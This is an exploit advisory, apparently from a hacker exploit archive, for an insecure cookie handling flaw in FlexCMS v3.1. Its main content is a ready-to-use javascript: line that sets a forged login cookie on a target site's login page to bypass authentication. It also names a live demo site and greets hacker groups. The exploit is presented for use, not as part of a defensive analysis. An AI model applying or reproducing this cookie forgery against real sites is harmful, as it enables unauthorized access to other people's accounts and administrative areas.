FlexCMS Insecure Cookie Handling

`  
  
==============================================================================  
[»] FlexCMS Insecure Cookie Handling Vulnerability  
==============================================================================  
  
[»] Script: [ FlexCMS v3.1 ]  
[»] Language: [ PHP ]  
[»] Site page: [ FlexCMS is a joint venture of DCSun Internet Technologies ]  
[»] Download: [ http://www.flexcms.com/flex/pages/download.html ]  
[»] Founder: [ ViRuSMaN <[email protected] - [email protected]> ]  
[»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com ]  
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]  
  
###########################################################################  
  
===[ Exploit ]===  
  
[»] http://[target].com/index.php/login.html  
javascript:document.cookie="FCLoginData12345=demo%3D%3DdevFxxVFdevFxxVFZsuos;path=/";  
demo%3D%3DdevFxxVFdevFxxVFZsuos : username site .  
  
===[ Live Demo ]===  
  
[»] http://www.flexcms3.com/index.php/login.html  
  
  
Author: ViRuSMaN <-  
  
###########################################################################  
________________________________  
Hotmail: Free, trusted and rich email service. Get it now.<https://signup.live.com/signup.aspx?id=60969>  
  
  
  
`